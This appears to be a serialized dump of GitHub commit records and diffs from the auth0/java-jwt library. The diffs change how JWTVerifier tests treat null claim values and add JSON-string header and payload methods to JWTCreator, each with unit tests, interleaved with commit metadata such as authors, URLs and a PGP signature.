@@ -561,14 +511,14 @@ public void shouldValidateCustomClaimOfTypeDate() {
     }
 
     @Test
-    public void shouldRemoveCustomClaimOfTypeDateWhenNull() {
+    public void shouldNotRemoveCustomClaimOfTypeDateWhenNull() {
         JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", new Date())
                 .withClaim("name", (Date) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(5));
     }
 
     @Test
@@ -900,48 +850,48 @@ public void shouldThrowOnInvalidJWTId() {
     }
 
     @Test
-    public void shouldRemoveClaimWhenPassingNull() {
+    public void shouldNotRemoveClaimWhenPassingNull() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(5));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String[]) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(5));
     }
 
     @Test
-    public void shouldRemoveIssuerWhenPassingNullReference() {
+    public void shouldNotRemoveIssuerWhenPassingNullReference() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(4));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String[]) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(4));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer()
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(4));
 
         String emptyIss = "  ";
         verifier = JWTVerifier.init(algorithm)
@@ -1111,7 +1061,6 @@ public void shouldSuccessfullyVerifyClaimWithPredicate() {
 
         JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("claimName", (claim, decodedJWT) -> "claimValue".equals(claim.asString()))
-                .withClaim(PublicClaims.ISSUED_AT, ((claim, decodedJWT) -> false))
                 .build();
 
         DecodedJWT decodedJWT = verifier.verify(jwt);
@@ -1136,14 +1085,14 @@ public void shouldThrowWhenPredicateReturnsFalse() {
     }
 
     @Test
-    public void shouldRemovePredicateCheckForNull() {
+    public void shouldNotRemovePredicateCheckForNull() {
         JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
                 .withClaim("claimName", (BiPredicate<Claim, DecodedJWT>) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("claimName")));
+        assertThat(verifier.expectedChecks.size(), is(5));
     }
 
     @Test
@@ -1192,4 +1141,138 @@ public void shouldThrowWhenNullClaimIsMissing() {
         assertThat(e.getMessage(), is("The Claim 'anotherClaimName' is not present in the JWT."));
         assertThat(e.getClaimName(), is("anotherClaimName"));
     }
+
+    @Test
+    public void shouldCheckForNullValuesForSubject() {
+        // sub = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGx9.y5brmQQ05OYwVvlTg83njUrz6tfpdyWNh17LHU6DxmI";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withSubject(null)
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForNullValuesInIssuer() {
+        // iss = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withIssuer((String) null)
+                .withIssuer((String[]) null)
+                .withIssuer()
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForNullValuesInJwtId() {
+        // jti = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOm51bGx9.z_MDyl8uPGH0q0jeB54wbYt3bwKXamU_3MO8LofGvZs";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withJWTId(null)
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForNullValuesInCustomClaims() {
+        // jti = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOm51bGx9.inAuN3Q9UZ6WgbB63O43B1ero2MTqnfzzumr_5qYIls";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("custom", (Boolean) null)
+                .withClaim("custom", (Integer) null)
+                .withClaim("custom", (Long) null)
+                .withClaim("custom", (Double) null)
+                .withClaim("custom", (String) null)
+                .withClaim("custom", (Date) null)
+                .withClaim("custom", (Instant) null)
+                .withClaim("custom", (BiPredicate<Claim, DecodedJWT>) null)
+                .withArrayClaim("custom", (String[]) null)
+                .withArrayClaim("custom", (Integer[]) null)
+                .withArrayClaim("custom", (Long[]) null)
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+
+    @Test
+    public void shouldCheckForNullValuesForAudience() {
+        // aud = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withAudience((String[]) null)
+                .withAudience((String) null)
+                .withAudience()
+                .withAnyOfAudience((String[]) null)
+                .withAnyOfAudience((String) null)
+                .withAnyOfAudience()
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForClaimPresenceEvenForNormalClaimChecks() {
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("custom", true)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
+
+    @Test
+    public void shouldCheckForWrongLongClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOjF9.00btiK0sv8pQ2T-hOr9GC5x2osi7--Bsk4pS5cTikqQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("custom", 2L)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+        assertThat(e.getClaimValue().asLong(), is(1L));
+    }
+
+    @Test
+    public void shouldCheckForWrongLongArrayClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOlsxXX0.R9ZSmgtJng062rcEc59u4VKCq89Yk5VlkN9BuMTMvr0";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("custom", 2L)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
+
+    @Test
+    public void shouldCheckForWrongStringArrayClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOlsxXX0.R9ZSmgtJng062rcEc59u4VKCq89Yk5VlkN9BuMTMvr0";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("custom", "2L")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
+
+    @Test
+    public void shouldCheckForWrongIntegerArrayClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOlsxXX0.R9ZSmgtJng062rcEc59u4VKCq89Yk5VlkN9BuMTMvr0";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("custom", 2)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
 }ueu(9bfe1ea3b61384dd5763780726300ad4a70ec162}(sha(9bfe1ea3b61384dd5763780726300ad4a70ec162node_idEC_kwDOAQtL0doAKDliZmUxZWEzYjYxMzg0ZGQ1NzYzNzgwNzI2MzAwYWQ0YTcwZWMxNjIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-12T12:40:32Zu	committer}(j#  
Poovamraj T Tj#  poovamraj@gmail.comj#  2022-04-12T12:40:32Zumessage
Trigger Buildtree}(jz#  (5ad822624c6229ddade836f1de7ad49ece301d87url^https://api.github.com/repos/auth0/java-jwt/git/trees/5ad822624c6229ddade836f1de7ad49ece301d87uj#  `https://api.github.com/repos/auth0/java-jwt/git/commits/9bfe1ea3b61384dd5763780726300ad4a70ec162
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj#  \https://api.github.com/repos/auth0/java-jwt/commits/9bfe1ea3b61384dd5763780726300ad4a70ec162html_urlQhttps://github.com/auth0/java-jwt/commit/9bfe1ea3b61384dd5763780726300ad4a70ec162comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9bfe1ea3b61384dd5763780726300ad4a70ec162/commentsj#  }(login	poovamrajidJ j|#  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j#  &https://api.github.com/users/poovamrajj#  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj#  }(j#  	poovamrajj#  J j|#  MDQ6VXNlcjE1OTEwNDI1j#  4https://avatars.githubusercontent.com/u/15910425?v=4j#  h3j#  &https://api.github.com/users/poovamrajj#  https://github.com/poovamrajj#  0https://api.github.com/users/poovamraj/followersj#  =https://api.github.com/users/poovamraj/following{/other_user}j#  6https://api.github.com/users/poovamraj/gists{/gist_id}j#  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j#  4https://api.github.com/users/poovamraj/subscriptionsj#  +https://api.github.com/users/poovamraj/orgsj#  ,https://api.github.com/users/poovamraj/reposj#  7https://api.github.com/users/poovamraj/events{/privacy}j#  6https://api.github.com/users/poovamraj/received_eventsj#  Userj#  uparents]}(jz#  (f70c51a86b8dbe6519c5463ad74161d6c1ee8a8bj#  \https://api.github.com/repos/auth0/java-jwt/commits/f70c51a86b8dbe6519c5463ad74161d6c1ee8a8bj#  Qhttps://github.com/auth0/java-jwt/commit/f70c51a86b8dbe6519c5463ad74161d6c1ee8a8buastats}(totalK 	additionsK 	deletionsK ufiles]u(a18955bb99bf6994e424971db3f621bc0cc64a86}(sha(a18955bb99bf6994e424971db3f621bc0cc64a86node_idEC_kwDOAQtL0doAKGExODk1NWJiOTliZjY5OTRlNDI0OTcxZGIzZjYyMWJjMGNjNjRhODYcommit}(author}(name
Andreas Rigasemail-48296471+andrewrigas@users.noreply.github.comdate2023-03-27T14:27:30Zu	committer}(j#  GitHubj#  noreply@github.comj#  2023-03-27T14:27:30ZumessageAAdd support for passing json values for header and payload (#643)tree}(j#  (db5eeec81ad72a962236ea6c4707db147712d038url^https://api.github.com/repos/auth0/java-jwt/git/trees/db5eeec81ad72a962236ea6c4707db147712d038uj#  `https://api.github.com/repos/auth0/java-jwt/git/commits/a18955bb99bf6994e424971db3f621bc0cc64a86
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJkIafSCRBK7hj4Ov3rIwAAjJIIAEO6uhSn6ZsIuRwWBC6IzVPP
eZAPjBHDDdIsedc3d1zrpUdWyr0E6SG1ruQGibbkcPLfXo0q2g0SXkN9ewBMfowX
WJB2AKrCyyjyGpT4yU73H3hGd3RE+8kw5iWm2yPR/B0R4GPQ3/bFegB145Dh56Za
fUNtWhDZscs48IV+xksUpL1WswpTIX66CWn5O4133k04620yruPQmOaZ3l0pQpRa
nGdIQqSNtvCAeXRzD/SXq9OvcSnZPg4nPyRpcl7aQuL4vs9X6lgH5pfSVs79sgd7
ANLW7HayVQauhwPUXYN0UroSd7OwTKerjmtmTgCU4yQdAFnFEq5VDmHB1A+3Qe0=
=WIGo
-----END PGP SIGNATURE-----
payloadX/  tree db5eeec81ad72a962236ea6c4707db147712d038
parent b610b6635ba1ed948a06fea777eeeecca2364303
author Andreas Rigas <48296471+andrewrigas@users.noreply.github.com> 1679927250 +0100
committer GitHub <noreply@github.com> 1679927250 -0500

Add support for passing json values for header and payload (#643)

uuj#  \https://api.github.com/repos/auth0/java-jwt/commits/a18955bb99bf6994e424971db3f621bc0cc64a86html_urlQhttps://github.com/auth0/java-jwt/commit/a18955bb99bf6994e424971db3f621bc0cc64a86comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a18955bb99bf6994e424971db3f621bc0cc64a86/commentsj#  }(loginandrewrigasidJj#  MDQ6VXNlcjQ4Mjk2NDcx
avatar_url4https://avatars.githubusercontent.com/u/48296471?v=4gravatar_idh3j#  (https://api.github.com/users/andrewrigasj$  https://github.com/andrewrigas
followers_url2https://api.github.com/users/andrewrigas/followers
following_url?https://api.github.com/users/andrewrigas/following{/other_user}	gists_url8https://api.github.com/users/andrewrigas/gists{/gist_id}starred_url?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/andrewrigas/subscriptionsorganizations_url-https://api.github.com/users/andrewrigas/orgs	repos_url.https://api.github.com/users/andrewrigas/repos
events_url9https://api.github.com/users/andrewrigas/events{/privacy}received_events_url8https://api.github.com/users/andrewrigas/received_eventstypeUser
site_adminuj#  }(j$  web-flowj
$  J/j#  MDQ6VXNlcjE5ODY0NDQ3j$  4https://avatars.githubusercontent.com/u/19864447?v=4j$  h3j#  %https://api.github.com/users/web-flowj$  https://github.com/web-flowj$  /https://api.github.com/users/web-flow/followersj$  <https://api.github.com/users/web-flow/following{/other_user}j$  5https://api.github.com/users/web-flow/gists{/gist_id}j$  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j$  3https://api.github.com/users/web-flow/subscriptionsj$  *https://api.github.com/users/web-flow/orgsj $  +https://api.github.com/users/web-flow/reposj"$  6https://api.github.com/users/web-flow/events{/privacy}j$$  5https://api.github.com/users/web-flow/received_eventsj&$  Userj($  uparents]}(j#  (b610b6635ba1ed948a06fea777eeeecca2364303j#  \https://api.github.com/repos/auth0/java-jwt/commits/b610b6635ba1ed948a06fea777eeeecca2364303j$  Qhttps://github.com/auth0/java-jwt/commit/b610b6635ba1ed948a06fea777eeeecca2364303uastats}(totalK	additionsK|	deletionsKufiles](}(j#  (d147f2d07f7476a6714de742e71e3135eadc47ddfilenamelib/build.gradlestatusmodifiedjB$  KjC$  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/a18955bb99bf6994e424971db3f621bc0cc64a86/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/a18955bb99bf6994e424971db3f621bc0cc64a86/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=a18955bb99bf6994e424971db3f621bc0cc64a86patchX2  @@ -72,7 +72,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.4.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.14.0'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'u}(j#  (f554cbc39d20672de72f90fe5909e677916b12a8jH$  /lib/src/main/java/com/auth0/jwt/JWTCreator.javajJ$  modifiedjB$  K0jC$  K jL$  K0jM$  https://github.com/auth0/java-jwt/blob/a18955bb99bf6994e424971db3f621bc0cc64a86/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajO$  https://github.com/auth0/java-jwt/raw/a18955bb99bf6994e424971db3f621bc0cc64a86/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajQ$  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=a18955bb99bf6994e424971db3f621bc0cc64a86jS$  X
  @@ -98,6 +98,27 @@ public Builder withHeader(Map<String, Object> headerClaims) {
             return this;
         }
 
+        /**
+         * Add specific Claims to set as the Header.
+         * If provided json is null then nothing is changed
+         *
+         * @param headerClaimsJson the values to use as Claims in the token's Header.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if json value has invalid structure
+         */
+        public Builder withHeader(String headerClaimsJson) throws IllegalArgumentException {
+            if (headerClaimsJson == null) {
+                return this;
+            }
+
+            try {
+                Map<String, Object> headerClaims = mapper.readValue(headerClaimsJson, HashMap.class);
+                return withHeader(headerClaims);
+            } catch (JsonProcessingException e) {
+                throw new IllegalArgumentException("Invalid header JSON", e);
+            }
+        }
+
         /**
          * Add a specific Key Id ("kid") claim to the Header.
          * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider,
@@ -467,6 +488,33 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
             return this;
         }
 
+        /**
+         * Add specific Claims to set as the Payload. If the provided json is null then
+         * nothing is changed.
+         *
+         * <p>
+         * If any of the claims are invalid, none will be added.
+         * </p>
+         *
+         * @param payloadClaimsJson the values to use as Claims in the token's payload.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if any of the claim keys or null,
+         *                                  or if the values are not of a supported type,
+         *                                  or if json value has invalid structure.
+         */
+        public Builder withPayload(String payloadClaimsJson) throws IllegalArgumentException {
+            if (payloadClaimsJson == null) {
+                return this;
+            }
+
+            try {
+                Map<String, Object> payloadClaims =  mapper.readValue(payloadClaimsJson, HashMap.class);
+                return withPayload(payloadClaims);
+            } catch (JsonProcessingException e) {
+                throw new IllegalArgumentException("Invalid payload JSON", e);
+            }
+        }
+
         private boolean validatePayload(Map<String, ?> payload) {
             for (Map.Entry<String, ?> entry : payload.entrySet()) {
                 String key = entry.getKey();u}(j#  (e4ab8cb0ddb4fdaf7604021a709fec90974cbd99jH$  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javajJ$  modifiedjB$  KKjC$  KjL$  KNjM$  https://github.com/auth0/java-jwt/blob/a18955bb99bf6994e424971db3f621bc0cc64a86/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajO$  https://github.com/auth0/java-jwt/raw/a18955bb99bf6994e424971db3f621bc0cc64a86/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajQ$  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=a18955bb99bf6994e424971db3f621bc0cc64a86jS$  X  @@ -3,6 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
+import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import org.junit.Rule;
 import org.junit.Test;
@@ -82,13 +83,48 @@ public void shouldAddHeaderClaim() {
 
     @Test
     public void shouldReturnBuilderIfNullMapIsProvided() {
+        Map<String, Object> nullMap = null;
+        String nullString = null;
         String signed = JWTCreator.init()
-                .withHeader(null)
+                .withHeader(nullMap)
+                .withHeader(nullString)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
     }
 
+    @Test
+    public void shouldSupportJsonValueHeaderWithNestedDataStructure() {
+        String stringClaim = "someClaim";
+        Integer intClaim = 1;
+        List<String> nestedListClaims = Arrays.asList("1", "2");
+        String claimsJson = "{\"stringClaim\": \"someClaim\", \"intClaim\": 1, \"nestedClaim\": { \"listClaim\": [ \"1\", \"2\" ]}}";
+
+        String jwt = JWTCreator.init()
+                .withHeader(claimsJson)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
+
+        assertThat(headerJson, JsonMatcher.hasEntry("stringClaim", stringClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("intClaim", intClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("listClaim", nestedListClaims));
+    }
+
+    @Test
+    public void shouldFailWithIllegalArgumentExceptionForInvalidJsonForHeaderClaims() {
+        String invalidJson = "{ invalidJson }";
+
+        exception.expect(IllegalArgumentException.class);
+        exception.expectMessage("Invalid header JSON");
+
+        JWTCreator.init()
+                .withHeader(invalidJson)
+                .sign(Algorithm.HMAC256("secret"));
+    }
+
     @Test
     public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         Map<String, Object> header = new HashMap<>();
@@ -105,6 +141,7 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         assertThat(headerJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "xyz"));
     }
 
+
     @Test
     public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         Map<String, Object> header = new HashMap<>();
@@ -715,8 +752,11 @@ public void withPayloadShouldAddBasicClaim() {
 
     @Test
     public void withPayloadShouldCreateJwtWithEmptyBodyIfPayloadNull() {
+        Map<String, Object> nullMap = null;
+        String nullString = null;
         String jwt = JWTCreator.init()
-                .withPayload(null)
+                .withPayload(nullMap)
+                .withPayload(nullString)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
@@ -921,10 +961,42 @@ public void withPayloadShouldSupportNullValuesEverywhere() {
         assertThat(headerJson, JsonMatcher.hasEntry("objClaim", objClaim));
     }
 
+    @Test
+    public void withPayloadShouldSupportJsonValueWithNestedDataStructure() {
+        String stringClaim = "someClaim";
+        Integer intClaim = 1;
+        List<String> nestedListClaims = Arrays.asList("1", "2");
+        String claimsJson = "{\"stringClaim\": \"someClaim\", \"intClaim\": 1, \"nestedClaim\": { \"listClaim\": [ \"1\", \"2\" ]}}";
+
+        String jwt = JWTCreator.init()
+                .withPayload(claimsJson)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
+
+        assertThat(payloadJson, JsonMatcher.hasEntry("stringClaim", stringClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("intClaim", intClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("listClaim", nestedListClaims));
+    }
+
+    @Test
+    public void shouldFailWithIllegalArgumentExceptionForInvalidJsonForPayloadClaims() {
+        String invalidJson = "{ invalidJson }";
+
+        exception.expect(IllegalArgumentException.class);
+        exception.expectMessage("Invalid payload JSON");
+
+        JWTCreator.init()
+                .withPayload(invalidJson)
+                .sign(Algorithm.HMAC256("secret"));
+    }
+
     @Test
     public void shouldCreatePayloadWithNullForMap() {
         String jwt = JWTCreator.init()
-                .withClaim("name", (Map<String,?>) null)
+                .withClaim("name", (Map<String, ?>) null)
                 .sign(Algorithm.HMAC256("secret"));
         assertThat(jwt, is(notNullValue()));
         assertTrue(JWT.decode(jwt).getClaim("name").isNull());ueu(dbc90eb80e9271ff69a2837fd4e78fa62b87924f}(sha(dbc90eb80e9271ff69a2837fd4e78fa62b87924fnode_idEC_kwDOAQtL0doAKGRiYzkwZWI4MGU5MjcxZmY2OWEyODM3ZmQ0ZTc4ZmE2MmI4NzkyNGYcommit}(author}(name
Andreas Rigasemailandreas.rigas@outlook.comdate2023-03-14T18:48:08Zu	committer}(jo$  
Andreas Rigasjq$  andreas.rigas@outlook.comjs$  2023-03-14T18:48:08Zumessagereorder paramstree}(jg$  (c75a714629457768df730c3beb299d398e8b9fd6url^https://api.github.com/repos/auth0/java-jwt/git/trees/c75a714629457768df730c3beb299d398e8b9fd6uj$  `https://api.github.com/repos/auth0/java-jwt/git/commits/dbc90eb80e9271ff69a2837fd4e78fa62b87924f
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj$  \https://api.github.com/repos/auth0/java-jwt/commits/dbc90eb80e9271ff69a2837fd4e78fa62b87924fhtml_urlQhttps://github.com/auth0/java-jwt/commit/dbc90eb80e9271ff69a2837fd4e78fa62b87924fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/dbc90eb80e9271ff69a2837fd4e78fa62b87924f/commentsjm$  }(loginandrewrigasidJji$  MDQ6VXNlcjQ4Mjk2NDcx
avatar_url4https://avatars.githubusercontent.com/u/48296471?v=4gravatar_idh3j$  (https://api.github.com/users/andrewrigasj$  https://github.com/andrewrigas
followers_url2https://api.github.com/users/andrewrigas/followers
following_url?https://api.github.com/users/andrewrigas/following{/other_user}	gists_url8https://api.github.com/users/andrewrigas/gists{/gist_id}starred_url?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/andrewrigas/subscriptionsorganizations_url-https://api.github.com/users/andrewrigas/orgs	repos_url.https://api.github.com/users/andrewrigas/repos
events_url9https://api.github.com/users/andrewrigas/events{/privacy}received_events_url8https://api.github.com/users/andrewrigas/received_eventstypeUser
site_adminuju$  }(j$  andrewrigasj$  Jji$  MDQ6VXNlcjQ4Mjk2NDcxj$  4https://avatars.githubusercontent.com/u/48296471?v=4j$  h3j$  (https://api.github.com/users/andrewrigasj$  https://github.com/andrewrigasj$  2https://api.github.com/users/andrewrigas/followersj$  ?https://api.github.com/users/andrewrigas/following{/other_user}j$  8https://api.github.com/users/andrewrigas/gists{/gist_id}j$  ?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}j$  6https://api.github.com/users/andrewrigas/subscriptionsj$  -https://api.github.com/users/andrewrigas/orgsj$  .https://api.github.com/users/andrewrigas/reposj$  9https://api.github.com/users/andrewrigas/events{/privacy}j$  8https://api.github.com/users/andrewrigas/received_eventsj$  Userj$  uparents]}(jg$  (a7b5f1957f87f204f7d5fad9cc6521fc945eb25bj$  \https://api.github.com/repos/auth0/java-jwt/commits/a7b5f1957f87f204f7d5fad9cc6521fc945eb25bj$  Qhttps://github.com/auth0/java-jwt/commit/a7b5f1957f87f204f7d5fad9cc6521fc945eb25buastats}(totalK	additionsK	deletionsKufiles]}(jg$  (c8b00c3b8b72ad5a57ce36e993e3b2a43d3f5601filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj$  Kj$  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/dbc90eb80e9271ff69a2837fd4e78fa62b87924f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/dbc90eb80e9271ff69a2837fd4e78fa62b87924f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=dbc90eb80e9271ff69a2837fd4e78fa62b87924fpatchXX  @@ -103,8 +103,8 @@ public Builder withHeader(Map<String, Object> headerClaims) {
          * If provided json is null then nothing is changed
          *
          * @param headerClaimsJson the values to use as Claims in the token's Header.
-         * @throws JsonProcessingException if json value has invalid structure
          * @return this same Builder instance.
+         * @throws JsonProcessingException if json value has invalid structure
          */
         public Builder withHeader(String headerClaimsJson) throws JsonProcessingException {
